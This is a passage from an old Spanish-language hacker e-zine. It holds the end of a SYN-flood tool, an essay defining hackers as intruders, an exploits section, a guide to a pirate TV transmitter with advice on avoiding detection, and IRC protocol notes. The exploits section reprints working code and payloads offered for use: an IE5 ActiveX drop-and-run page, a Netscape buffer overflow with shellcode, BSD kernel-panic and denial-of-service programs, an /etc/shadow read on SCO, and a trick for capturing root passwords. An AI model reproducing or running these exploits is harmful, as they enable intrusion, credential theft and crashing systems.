fprintf(stderr,"Illegal option --try again\n");
usleep(MENUSLEEP);
}

}
printf("\n");
printf(werd);
return;
}


/*
* SlickPing. A quick and dirty ping hack. Sends <amount> ICMP_ECHO
* packets and waits for a reply on any one of them... It has to check
* to make sure the ICMP_ECHOREPLY is actually meant for us, as raw ICMP
* sockets get ALL the ICMP traffic on a host, and someone could be
* pinging some other host and we could get that ECHOREPLY and foul
* things up for us.
*/

int slickPing(amount,sock,dest)
int amount,sock;
char *dest;
{

int alarmHandler();
unsigned nameResolve(char *);

register int retcode,j=0;
struct icmphdr *icmp;
struct sockaddr_in sin;
unsigned char sendICMPpak[MAXPAK]={0};
unsigned short pakID=getpid()&0xffff;

struct ippkt{
struct iphdr ip;
struct icmphdr icmp;
char buffer[MAXPAK];
}pkt;

bzero((char *)&sin,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=nameResolve(dest);

/* ICMP Packet assembly */
/* We let the kernel create our IP header as it is legit */

icmp=(struct icmphdr *)sendICMPpak;
icmp->type=ICMP_ECHO; /* Requesting an Echo */
icmp->code=0; /* 0 for ICMP ECHO/ECHO_REPLY */
icmp->un.echo.id=pakID; /* To identify upon return */
icmp->un.echo.sequence=0; /* Not used for us */
icmp->checksum=in_cksum((unsigned short *)icmp,64);

fprintf(stderr,"sending ICMP_ECHO packets: ");
for(;j<amount;j++){
usleep(ICMPSLEEP); /* For good measure */
retcode=sendto(sock,sendICMPpak,64,0,(struct sockaddr *)&sin,sizeof(sin));
if(retcode<0||retcode!=64)
if(retcode<0){
perror("ICMP sendto err");
exit(1);
}
else fprintf(stderr,"Only wrote %d bytes",retcode);
else fprintf(stderr,".");
}
HANDLERCODE=1;
signal(SIGALRM,alarmHandler); /* catch the ALARM and handle it */
fprintf(stderr,"\nSetting alarm timeout for 10 seconds...\n");
alarm(10); /* ALARM is set b/c read() will block forever if no */
while(1){ /* packets arrive... (which is what we want....) */
read(sock,(struct ippkt *)&pkt,MAXPAK-1);
if(pkt.icmp.type==ICMP_ECHOREPLY&&icmp->un.echo.id==pakID){
if(!HANDLERCODE)return(0);
return(1);
}
}
}


/*
* SIGALRM signal handler. Souper simple.
*/

int alarmHandler(){

HANDLERCODE=0; /* shame on me for using global vars */
alarm(0);
signal(SIGALRM,SIG_DFL);
return(0);
}


/*
* Usage function...
*/

void usage(nomenclature)
char *nomenclature;
{
fprintf(stderr,"\n\nUSAGE: %s \n\t-s unreachable_host \n\t-t target_host \n\t-p port [-8 (infinity switch)] \n\t-a amount_of_SYNs\n",nomenclature);
exit(0);
}


/*
* Demon. Backgrounding procedure and looping stuff.
*/


void demon(sock,unreachable,target,port,amount,interval,ttl)
int sock;
char *unreachable;
char *target;
int port;
int amount;
int interval;
int ttl;
{
fprintf(stderr,"\nSorry Daemon mode not available in this version\n");
exit(0);

}





---- { R16_07 } --------------------------------------------------------------

-------- { A VER QUE CO¥O SUN HACKER? } --------------------------------------

--- { The Buscon of Astalavista }


Ahh, duros tiempos estos, los medios de comunicacion de masas (incluso
desde la propia Internet) exagerando enormemente los peligros de la Red, los
politicos creando nuevas y jorobadas leyes, la policia se ata los machos
emprendiendo espectaculares acciones para contentarlos, Kevin Mitnik y cientos
de exploradores pagando el pato, las empresas devorando vorazmente todo lo que
acabe por net, telefonica chupando lo que puede y más, los mandamases parce-
lando internet dependiendo de nuestros bolsillos y la vida sigue cada vez mas
jodida y apreta para el pobre internauta de tres al cuarto.
Y aqui estamos, redactando un txt y jodiendo la marrana lo que se pueda
mientras se pueda y como se pueda.
Los nuevos que entran en la Red, tras unos dias de adaptacion (ya
saben configurar el cliente de correo, de news y el irc) quieren ser hackers.
Quan duro es ser novato. Dan el co¤azo en mil y un lugares, QUIERO SER HACKER,
QUIERO SER HACKER... Reciben las primeras respuestas : "OTRO LAMER DE MIERDA",
"PARA SER HACKER HAY QUE LEER Y LEER", "HAHAHAHHA, MANUEL PERAL FIGUEROA,
QUIERE SER HACKER Y LE VEMOS HASTA LAS BRAGAS"
, etc, etc.
Quan duro es ser novato (Bis).

Pero, pregunto yo, ¨quien co¤o es hacker aqui?
Por que a ver si nos aclaramos: hacker no es una profesion, ni una
secta, ni una ideologia politica, ni una religion. ni convocan oposiciones
para puestos de hacker. Veamos las opiniones que se deslizan en la red sobre
el tema:

¨QUE ES UN HACKER?

1. Definicion Hermanita de la Caridad o Heidi:
Hacker es quien penetra en un sistema informatico sin permiso de acceso y deja
un cari¤oso mensaje al administrador, root, o due¤o del cotarro explicandole
los defectos de configuracion y la forma en que ha conseguido entrar.

2. Definicion EL DESAFIOOO:
Hacker es quien penetra en un sistema informatico sin permiso por simple
desafio intelectual. Se dice: "Voy a entrar en este sitio y lo conseguire
tarde o temprano, para cojones, los mios"
.

3. Definicion Indiana Jones:
Hacker es quien penetra en un sistema informatico sin permiso por que es
consciente de que comete un delito y le sube la adrenalina y se quiere sentir
al otro lado de la ley en una selva que mas o menos conoce.

4. Definicion Amos a echar un QUAKE:
Hacker es quien penetra en un sistema informatico sin permiso porque no tiene
otra cosa mejor que hacer, es un divertimento, un juego, porque al fin y al
cabo es lo mismo que echar un Quake, y requiere habilidad y conocimiento del
juego.

5. Definicion Papeles del CESID:
Hacker es quien penetra en un sistema informatico sin permiso por curiosidad,
como las porteras que quieren saberlo todo, piensa en conspiraciones treme-
bundas, o simplemente quiere descubrir la informacion que se le oculta.

6. Definicion PASTA GANSA:
Hacker es quien penetra en un sistema informatico sin permiso y si se da el
caso sacar beneficios de todo lo que pille.

8. Definicion OBSESO SEXUAR:
Hacker es quien penetra en un sistema informatico sin permiso "pa ver las
fotos guarras sin paga"
. En general para acceder a los beneficios de los
servicios de pago, "malditos capitalistas", se dice.

¨Que tienen en comun estas definiciones?

Hacker es quien penetra en un sistema informatico sin permiso

¨Es eso un hacker?
Pues yo diria que si.

¨Un hacker podria ser un compendio de todas estas definiciones?
Por supuesto, seria casi un guru del hacking, un ser hecho para el hacking.

1.Objetivo: entrar en un sistema informatico....

Una vez dentro del sistema pasamos al:

2. Objetivo: Lo que le salga de las pelotas.

Pregunta: ¨si el objetivo 2. es lo que le salga de las pelotas no es un
hacker, verdad?

Respuesta: Una vez cumplido el objetivo 1 lo es, lo de despues es indiferente.
¨o es que, por ejemplo, Hakkinen seria menos piloto si condujera su buga a 200
km/h por la ciudad? ¨No verdad? Le aplicariamos otros terminos: "piloto
suicida"
, "piloto loco", "piloto asesino", pero no dejaria de ser piloto.

Pues yo siempre he oido que un hacker es como un vigilante de la playa, que
explora los sistemas para encontrar puertas por donde entrar y cuyo fin ultimo
es dejar un mensaje al administrador ¨Es eso cierto? Si fuera asi, no seria un
delito.


Saludos a Heidi, al abuelito, a Pedro y a las cabras.

The Buscon of Astalavista (laredo@bigfoot.com)





---- { R16_08 } --------------------------------------------------------------

-------- { Bugs y Exploits } -------------------------------------------------

--- { PaTa }

Empezamos con un bug de propia cosecha mandado por un lector, haber si
el ejemplo cunde y os animais a contribuir en esta seccion con los fallos que
descubrais.

­Animo!

-*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-

S.O/Programa: Host Explorer 4.0 <-> AIX 4.21
Objetivo: Conseguir el password de r00t
Parche: Desactivar scriptïs
Creditos: The BroliWarrior "broliwarrior@angelfire.com"
http://www.angelfire.com/wa/BroliWarrior
Descripcion: Hay gente que necesita trabajar con derechos de root para
utilizar con ciertos script's que tienen efecto solamente para
este usuario. Tienes derechos pero no te dan la password ya que
se supone, solo vas a trabajar con esos ficheros. No puedes
abrirte una sesion por tu cuenta y trastear con derechos de root
ya que no tienes la clave.
Bien, cuando en este programa, Host Explorer 4.0, haces telnet a
la direccion deseada y generas una macro (menz Macro ->
StarRecording) se van almacenando en un fichero todas las teclas
pulsadas. Por supuesto, cuando corres una macro es como si un
usuario estuviera en ese momento ante la maquina. Se abre una
sesion y cuando vas a hacer login, se ejecuta la macro.
Pues tenemos una forma de ver la ansiada password que marca, la
forma es la siguiente.
Si, estas ejecutando un proceso el cual te deja la pantalla
completamente en negro (salvo por una frase del tipo "Espere un
momento, por favor... "
) entonces rapidamente ejecutas la macro
en la que sabes que hace login el root, aunque haya otra en
ejecucion.
Veras en la pantalla en negro la pulsacion de todas las teclas,
incluida el password.
Jajaja, interesante, verdad?. Aprovechad.

-*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-


-*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-

S.O/Programa: Internet Explorer 5.0
Objetivo: Un fallo en ActiveX permite ejecutar programas.
Parche: Cambiar la seguridad a Alta, desactivar los Scripts Activos,
desactivar los controles ActiveX
Creditos: Georgi Guninski "joro@nat.bg"
http://www.nat.bg/~joro/scrtlb.html
Descripcion: Internet Explorer 5.0 bajo Windows 95/98 y Windows NT permite
ejecutar programas en la maquina local creando y sobreescri-
biendo ficheros locales y poniendo contenido en ellos.
El problema se encuentra en un COntro ActiveX "Object for
constructing type libraries for scriptlets"

Codigo:
<++> R16/XPLOIT/Ie50.html
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\StartUp\\guninski.hta";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>
alert('Written by Georgi Guninski http://www.nat.bg/~joro');wsh.Run
('c:\\command.com');</"
+"SCRIPT>";
scr.write();
</SCRIPT>
</object>
<-->
-*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-

S.O/Programa: FreeBSD 3.2
Objetivo: Kernel Panic
Parche: Update Kernel
Creditos: Sebastien Petit "spe@oleane.net"
Descripcion: Es un problema con FreeBSD 3.2-RELEASE y -STABLE y otras
versiones de FreeBSD 3.x
El Kernel Panic ocurre cuando un programa hace multiples
accesos en un particion NFS v3 montada en los directorios por
defecto (ej: mount x.x.x.x:/nfs /usr2). FreeBSD 3.2 peta
inmediatamente sin mensajes de error solamente "panic:
getnewbuf: cannot get buffer, infinite recursion failure"

con privilegios de root. Se puede reproducir con un programa
que cree multiples procesos (ej: 120) accediendo a la particion
NFS montada en el directorio y usando funciones "open", "seek",
"write", "close". NetBSD no es vulnerable.
Codigo:
<++> R16/XPLOIT/Fbsd.c
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <stdio.h>
#include <sys/time.h>
#include <time.h>
void usr1() {
}
int main(int argc, char ** argv) {
int nbfils;
int nbopen;
int tbloc;
int tfichier;
char filename[512];
int i, j, k, f;
int pid;
struct timeval start;
struct timeval end;
float delay;
void * bloc;
if (argc<6) {
fprintf(stderr, "Syntax: %s rep_nfs/ nb_child nb_open
sizefile(Kb) blocksize(kb).\n"
, argv[0]);
fprintf(stderr, "ie: %s /TEST/ 120 200 20000 100\n");
exit(EXIT_FAILURE);
}
nbfils = atoi(argv[2]);
nbopen = atoi(argv[3]);
tfichier = atoi(argv[4]);
tbloc = atoi(argv[5]);
bloc = malloc(tbloc * 1024);
memset(bloc, 0, tbloc * 1024);
if (!bloc) {
fprintf(stderr, "%s: ", argv[0]);
perror("malloc");
exit(-1);
}
fprintf(stderr, "forking %d times...\n", nbfils);
signal(SIGUSR1, &usr1);
j = 0;
for(i=0;i<nbfils;i++) {
pid = fork();
if (pid<0) {
perror("fork");
break;
} else
j++;
if (!pid) break;
}
if (!pid) {
pause();
pid = getpid();
srand(pid*10);
fprintf(stderr, "[%d] child %d: Here I go!\n", pid, i);
sprintf(filename, "%s%d", argv[1], pid);
for(i=0;i<nbopen;i++) {
f = open(filename, O_CREAT|O_RDWR, 0666);
if (f<0) {
fprintf(stderr, "[%d] file %s ", pid, filename);
perror("open");
break;
}
k = (rand() % (tfichier * 1024));
j = lseek(f, k, SEEK_SET);
if (j!=k) {
fprintf(stderr, "[%d] ", pid);
perror("lseek");
break;
}
// read(f, bloc, tbloc*1024);
if (write(f, bloc, tbloc*1024)!=tbloc*1024) {
fprintf(stderr, "[%d] ", pid);
perror("write");
break;
}
sync();
if (close(f)) {
fprintf(stderr, "[%d] ", pid);
perror("close");
break;
}
}
exit(0);
}
sleep(2);
gettimeofday(&start, NULL);
kill(0, SIGUSR1);
i = 0;
while (i<nbfils)
if (waitpid(-1, NULL, 0)>0)
i++;
fprintf(stderr, "they're all dead now, exiting.\nYour system is not
vulnerable\n"
);
gettimeofday(&end, NULL);
delay = end.tv_sec - start.tv_sec + ((float) (end.tv_usec -
start.tv_usec))
/ (float) 1000000;
i = nbopen * tbloc * nbfils;
exit(0);
}
<-->
-*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-

S.O/Programa: FreeBSD 3.2 RELEASE
OpenBSD 2.4 GENERIC kernel
OpenBSD 2.5
Objetivo: Local Denial of Service.
Parche: Update
Creditos: Sven Berkvens "sven@ilse.nl"
Descripcion: Un usuario sin privilegios puede causar un kernel panic,
causando un reseteo del sistema.
Codigo:
<++> R16/XPLOIT/Bsddos.c
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define BUFFERSIZE 204800
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
}
<-->
-*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-

S.O/Programa: Netscape Communicator 4.06, 4.5,4.6 and 4.61e
Objetivo: Buffer Overflow
Parche: Actualizar msvcrt.dll la version actual es 6.00.8397
Creditos: "defcon0@ugtop.com" DEF CON ZERO WINDOW
http://www.ugtop.com/defcon0/hc/nc4x_ex/nc4x_ex.cgi
http://www.ugtop.com/defcon0/hc/nc4x_ex/nc4x_ex2.cgi
Descripcion: Algunas versiones del Netscape Communicator son vulnerables a
un buffer overflow cuando se utiliza se utiliza la opcion
EMBED tag. Este buffer overflow puede usarse para ejecutar
codigo arbitrario.
Codigo:
<++> R16/XPLOIT/Netscape.c
/************************************************************************/
/* Netscape communicator 4.06J - 4.6J, 4.61e Exploit for Windows98 */
/* */
/* written by R00t Zer0(defcon0@ugtop.com) */
/* */
/* DEF CON ZERO( http://www.ugtop.com/defcon0/index.htm) */
/************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#define STACK_LEN ( 2135 )
#define EMBED_TYPE_LEN ( 150 )
#define XPT_HDL_OFFSET ( 588 )
#define JMPS_OFFSET ( 6 )
#define JMP_EBX_ADDR ( 0xbff7a06b )
#define INT01H_ADDR ( 0xbff73d30 )
#define NOP_CODE ( 0x90 )
#define JMPS_CODE ( 0xeb )
#define FUNCTION "msvcrt.dll.system.exit."
#define COMMAND "welcome.exe"
#define CMDLENP ( 65 )
int
main( void )
{
u_char win98_exec_code[100] = {
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,
0xF7,0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,
0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF8,0x43,0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,
0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,0xFF,0x00 };
u_char exploit_code[ STACK_LEN ];
u_char embed_type[ EMBED_TYPE_LEN ];
u_long ip;
int loop;
srand( ( u_int )time( 0 ) );
bzero( exploit_code, sizeof( exploit_code ) );
for( loop = 0; loop < XPT_HDL_OFFSET; loop++ )
exploit_code [loop ] = NOP_CODE;
/* make exploit code */
ip = JMP_EBX_ADDR;
exploit_code[ XPT_HDL_OFFSET - 4 ] = JMPS_CODE;
exploit_code[ XPT_HDL_OFFSET - 3 ] = JMPS_OFFSET;
exploit_code[ XPT_HDL_OFFSET + 3 ] = ( char)( 0xff & ( ip >> 24 ) );
exploit_code[ XPT_HDL_OFFSET + 2 ] = ( char)( 0xff & ( ip >> 16 ) );
exploit_code[ XPT_HDL_OFFSET + 1 ] = ( char)( 0xff & ( ip >> 8 ) );
exploit_code[ XPT_HDL_OFFSET + 0 ] = ( char)( 0xff & ( ip >> 0 ) );
win98_exec_code[ CMDLENP ] = strlen( COMMAND );
strcat( exploit_code, win98_exec_code );
strcat( exploit_code, FUNCTION );
strcat( exploit_code, COMMAND );
/* set random type */
for( loop = 0; loop < EMBED_TYPE_LEN; loop++ )
embed_type[ loop ] = 0x23 + ( rand() % 93 );
/* print html */
printf( "Content-type: text/html\n\n" );
printf( "<HTML>\n" );
printf( "<HEAD>\n" );
printf( " <TITLE>Netscape communicator 4.x
Exploit!!</TITLE>\n"
);
printf( "</HEAD>\n" );
printf( "<BODY>\n" );
printf( "<EMBED SRC=\"FreeUNYUN!\" PLUGINSPAGE=\"%s\" ",
exploit_code );
printf( "TYPE=\"%s\" WIDTH=\"1500\" HEIGHT=\"1000\">\n", embed_type
);
printf( "</EMBED>\n</BODY>\n</HTML>\n" );
return( 0 );
}
<-->
-*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-

S.O/Programa: Internet Explorer 5.0
Objetivo: Un simple HTML puede usarse para colgar el Internet Explorer
Parche: Service Park, cuando lo saquen.
Creditos: "neonbunny@bunnybox.net" Neon Bunny
www.securiteam.com/windowsntfocus/neonbunnycrashtest.html
Descripcion: Cuelgue del Internet Explorer, se puede decir mas alto pero
no mas claro, que no solo el Netscape tiene fallos, porras!
Testeado bajo Windows 98 y Windows 2000
Codigo:
<++> R16/XPLOIT/Ie50Dos.html
<html>
<head>
<title>NeonBunny's IE5 Crasher</title>
</head>
<body>
<form method="POST">
<table>
<tr>
<td width="20%"><input type="text" name="State" size="99999999"
maxlength="99999999" value=""></td>
</tr>
</table>
</form>
</body>
</html>
<-->
-*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-

S.O/Programa: wu-ftpd 2.5, VR and BeroFTPD
Objetivo: Root remoto
Parche: Tienes el codigo abajo
Creditos: "lcamtuf@ids.pl" Michal Zalewski
Descripcion: Un buffer overflow en wu-ftpd 2.5 en mapped_path.
Codigo del parche:
<++> R16/XPLOIT/ftpd.c
*** ftpd.c Sun Jun 6 15:20:21 1999
--- ftpd_patched.c Sun Jun 6 15:15:03 1999
***************
*** 1245,1251 ****
/* append the dir part with a leading / unless at root */
if( !(mapped_path[0] == '/' && mapped_path[1] == '\0') )
strcat( mapped_path, "/" );
! strcat( mapped_path, dir );
}
int
--- 1245,1254 ----
/* append the dir part with a leading / unless at root */
if( !(mapped_path[0] == '/' && mapped_path[1] == '\0') )
strcat( mapped_path, "/" );
! if ( strlen(mapped_path) + strlen (dir) < 4095 )
! strcat( mapped_path, dir );
! else
! syslog(LOG_ERR, "FTP mapped_path attack ");
}
int
<-->
-*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-

S.O/Programa: Windows 2000 COM
Objetivo: Ataque al servicio Telnet.
Parche: Windows 2000 estable?
Creditos: "mnemonix@globalnet.co.uk" Mnemonix
Descripcion: La version beta de Windows 2000 tiene un servidor telnet, que no
esta instalado por defecto. Este servidor puede ser iniciali-
zado por defecto, se puede lograr introduciendo codigo HTML en
una pagina web o en cliente de correo Outlook.
Codigo:
<++> R16/XPLOIT/w2000.html
<SCRIPT LANGUAGE=VBScript>
CreateObject("TlntSvr.EnumTelnetClientsSvr")
</SCRIPT>
<-->
-*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-

S.O/Programa: SCO 5.0.5 2.0.0e2
Objetivo: Todos los usuarios pueden leer el /etc/shadow
Parche: Desactivar el setuid root de la aplicacion.
Creditos: "btellier@webley.com" Brock Tellier
Descripcion: En SCO 5.0.5's /bin/doctor 2.0.0e2 un simple script puede leer
cualquier fichero del sistema.
Codigo:
<++> R16/XPLOIT/sco.scp
scobox:/bin$ <b>id</b>
uid=136(btellier),200(users)
scobox:/bin$ <b>uname -a</b>
SCO_SV scobox 3.2 5.0.5 i386
scobox:/bin$ <b>doctor -V</b>
doctor 2.0.0e 2
scobox:/bin$ <b>doctor -s /etc/shadow</b>
doctor: WARNING User message: invalid command name
"root:xbfOLR0ekXN/o:10656::"
<-->
-*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-





---- { R16_09 } --------------------------------------------------------------

-------- { SNOW BOX } --------------------------------------------------------

--- { enan0 }


Hola ni¤os, bienvenidos a otro programa de "Hazlo tu mismo y te tiro
manies cuando estes en la carcel"
xD.

La snow box fue "innaugurada" por 1987 en California, USA. El nombre
viene por la nieve que vemos en la tele antes de hacernos cargo de el canal :)
La funcion principal de esta caja, es poder tener otro medio mas para liberar
la informacion, en si, levantar un canal pirata de television. La elaboracion
de la "caja" es sencillo, yo no voy a colocar como construir los equipos nece-
sarios ya que en la mayoria la gente compra los equipos, ademas no tengo los
conocimientos de electronica necesarios para esto y seguro ya hay mas de 30
documentos que explican como hacerlos. Yo voy a explicar que equipos se nece-
sitan, la construccion de la antena (Algo critical). Despues paso algunas de
las cosas "utiles" (xD) que se puede hacer con este tipo de antenas :). Hora
de comenzar ni¤os... :)

Elementos que se necesitan:
- Un video o camara de video con salidas RF.
- Un amplificador de 6 metros de banda logitudinal.
Incluso un amplificador de RF seria util
- Cable coaxil con conectores UHF bastante largo para
conectar el amplificador con la antena.
- Un cable de television parcheado con una entrada
UHF (Ira conectado al amplificador) y una
con un conector F para conectarlo a la salida
RF (La que usa normalmente el cable)
- Una antena de 6 metros de banda obiamente o sino se
detalla como construirla, no es algo muy complejo.

La idea conectar el conector F a la salida RF del video, el UHF
conectarlo al amplificador longitudinal, para convertir el RF a una se¤al
potente y ahi conectar el cable coaxil UHF largo hacia la antena para salir al
aire.

No todos los videos tienen salida RF, si no tienes uno con salida RF
necesitaras un cable con conectores RCA comun y corriente como el que se usa
en los equipos de audio (si es estero esta bien) y un modulador RF que
convierta la se¤al del video en algun canal.

La construccion de la antena es la parte mas complicada si has conse-
guido todos los equipos, en caso de que los hallas hecho tu entonces la
construccion de la antena sera algo bastante estupido :). Es una antena dipolo
la mejor manera de que no llame la atencion es hacerla en la cuerda de colgar
la ropa, necesitaran 3 aisladores de ceramica, el esquema seria algo asi:

<A> => Aisladores de Ceramica
=== => Cuerda comun
--- => Alambre


...======<A>----------<A>---------<A>======...


Los aisladores de afuera, son los que separan la cuerda del alambre,
si es de nailon la cuerda es mejor, despues, el aislador de adentro es el que
deja la abertura en la mitad EXACTA de los dos alambres de la antena. Ahora
viene el largo de la antena el cual es critical, yo aqui adjunto una tabla
donde estan los canales mas comunes, en caso de otros canales para que vallan
teniendo una idea, la regla general para una antena de media banda, la
distancia en centimetros es igual a 486 dividido la frecuencia en Mhz por
30.48, en una formula quedaria:

Dc = 30,48(486 / Mhz) siendo Dc la distancia en centimetros, si
quieres pasarlo a metros deberas cambiar el 30,48 por 0,3048.


Tabla Extraida del manual de bolsillo ARRL publicado por la liga
americana de regulaciones en radios. Solo sirve para antenas de media banda
las distancias y todas las frecuencias estan en Mhz.

///// Datos sobre los canales de Television - VHF \\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\//////////////////////////////////
Canal TV SEÑAL Alcanze Distancia
Video Audio en Mhz de cada tramo
-------- ----- ----- ------- ------------
2 055.25 059.75 054-060 258,16 cm
3 061.25 065.75 060-066 232,97 cm
4 067.25 071.75 066-072 211,38 cm
5 077.25 081.75 076-082 184,40 cm
6 083.25 087.75 082-088 171.30 cm
7 175.25 179.75 174-180 081.38 cm
8 181.25 185.75 180-186 078.63 cm
9 187.25 191.75 186-192 075.89 cm
10 193.25 197.75 192-198 073.76 cm
12 205.25 209.75 204-210 069.49 cm
13 211.25 215.75 210-216 067.36 cm


Con esto cualquier IDIOTA es capaz de construir una antena, ahora van
algunos usos que pueden ser interesantes xD, hay gente q las usa para pasar
musica, puedes usarla para pasar un video con fines cientificos de como
plantar marihuana y que crezca rica :), ahora, por otro lado, NUNCA vallan
a transmitir en la misma frecuencia de otro canal que estra transmitiendo
porque sino seria un hijacking de la se¤al del canal hasta donde tu antena
tenga alcanze y eso seria ilegal, aparte, ¨Cual es la utilidad de que cuando
una suma muy grande de gente este mirando su novela preferida, tu la inter-
vengas con otra cosa? xDDDDDDDDDDDDDDDDDDDDDDDD


El tema de si puedes ser rastreado es algo obio que SI, por lo que al
igual que las fm piratas, te conviene no transmitir constantemente, establecer
horarios en lo posible nocturnos, y es mejor si haces la antena como explique
para que aparente ser cuerda de colgar ropa y que no sea visible desde la
calle ni desde el aire. :)


"Asi esta el mundo, amigos" Jorge Traverso
(Canal 10, Montevideo - Uruguay)

salud y muerte





---- { R16_10 } --------------------------------------------------------------

-------- { IRC POR TELNET (2§. PARTE) } --------------------------------------

--- { Senpai }


En respuesta a todos los emails que me habeis enviado pidiendome mas
informacion sobre el articulo anterior, os escribo este. Espero que os guste.

Cuando os conectais al servidor de irc, os conectais como clientes,
pero que es un cliente en irc?, que es un operador de irc? que es un servidor
de irc?
Las respuestan parecen evidentes, pero siempre conviene aclarar los
conceptos basicos para entendernos todos.

Servidor: Los servidores son el sistema nervioso del irc, y proveen de un
puerto (o varios) al cual se pueden conectar los clientes, y de
otros puertos para conectar servidores entre si, formando una red.

Cliente: Es cualquier cosa que se conecte a un servidor, y que no sea un
servidor. Los clientes se distinguen de otros por el nick; ademas
todos los servidores de la red tienen que saber el nombre del host
donde esta el cliente (en otras palabras la ip), su nombre de
usuario en ese host, y el servidor al que esta conectado.

Operador de un canal: Pues eso el que tiene la arroba (@). Los operadores de
un canal tienen cierto poder sobre este, para mantener
el control sobre el canal, para ello tambien disponen
de unos comandos como el KICK, TOPIC, ...

Operador de irc (ircop): Son una clase especial de clientes, y su funcion es
la de hacer tareas de mantenimiento de la red. Para
hacer estas tareas, disponen de comandos que solo un
operador puede ejecutar (como el KILL, SQUIT, ...).

Ya que estoy escribiendo sobre los operadores, voy a curiosear un poco en los
comandos que solo un operador puede ejecutar, por ejemplo:

OPER <usuario> <password>
Este comando se usa para conseguir los privilegios de operador. Si se da el
nombre de usuario y el password correctos, el servidor pone el modo +o
(operador) al nick del cliente.
Mmmm.. parece tentador, voy a cotillear un poco:

oper
:pulsar.irc-hispano.org 461 senpai OPER :Not enough parameters
oper senpai ppppp
:pulsar.irc-hispano.org 491 senpai :No O-lines for your host

O-lines? y eso que es?! Bueno pues supongo que para poder ser ircop, tu host
debe estar dado de alta en el servidor.


Protocolo usado en el irc.

La comunicacion entre el cliente y el servidor se realiza mediante el
protocolo TCP/IP, lo cual nos da conexiones bastante seguras y en teoria
dificiles de "spoofear"... y en la practica tambien :).

Para muestra un boton:

Estos son los paquete capturados con el TCPDUMP, aqui se realiza una operacion
de tipo KICK #canal nick. La operacion no tuvo exito pues no tenia el status
de operador, pero para verlo como ejemplo del protocolo TCP es valida.

62.82.34.8.1025 > 194.179.106.120.6667: P 1456147214:1456147239(25) ack
1307410323 win 31856 <nop,nop,timestamp 82547 114817822> (DF) [tos 0x10]
Aqui envio el comando KICK #canal nick


194.179.106.120.6667 > 62.82.34.8.1025: . ack 25 win 31920 <nop,nop,timestamp
114822385 82547> (DF)

194.179.106.120.6667 > 62.82.34.8.1025: P 1:76(75) ack 25 win 31920 <nop,nop,
timestamp 114822388 82547> (DF)

Estos dos paquetes son la respuesta del servidor al comando.


62.82.34.8.1025 > 194.179.106.120.6667: . ack 76 win 31856 <nop,nop,timestamp
82576 114822388> (DF) [tos 0x10]

Envia un asentimiento como que ha recibido la respuesta.


Ahora un poco de explicacion:

Lo que veis como ip1:puerto > ip2:puerto son: ip1: host origen e ip2 host
destino, con sus respectivos puertos.
ack numero: Numero de asentimiento.
win numero: numero de bytes que pueden enviarse sin tener que recibir acuse de
recibo (ack). Un numero de 0 indica que el receptor no puede recibir mas bytes
por el momento.
(DF): Flag Dont Fragment, indica que el paquete no se puede fragmentar en el
camino de origen al destino.

Otro ejemplo:

Aqui se envia el comando: MODE +o #canal nick

62.82.195.177.1025 > 194.179.106.120.6667: P 4097088631:4097088658(27) ack
3996150179 win 32120 <nop,nop,timestamp 36617 137014433> (DF) [tos 0x10]
Se envia el comando.

194.179.106.120.6667 > 62.82.195.177.1025: P 1:74(73) ack 27 win 31968 <nop,
nop,timestamp 137018474 36617> (DF)
El servidor envia la respuesta.

62.82.195.177.1025 > 194.179.106.120.6667: . ack 74 win 32120 <nop,nop,
timestamp 36640 137018474> (DF) [tos 0x10]
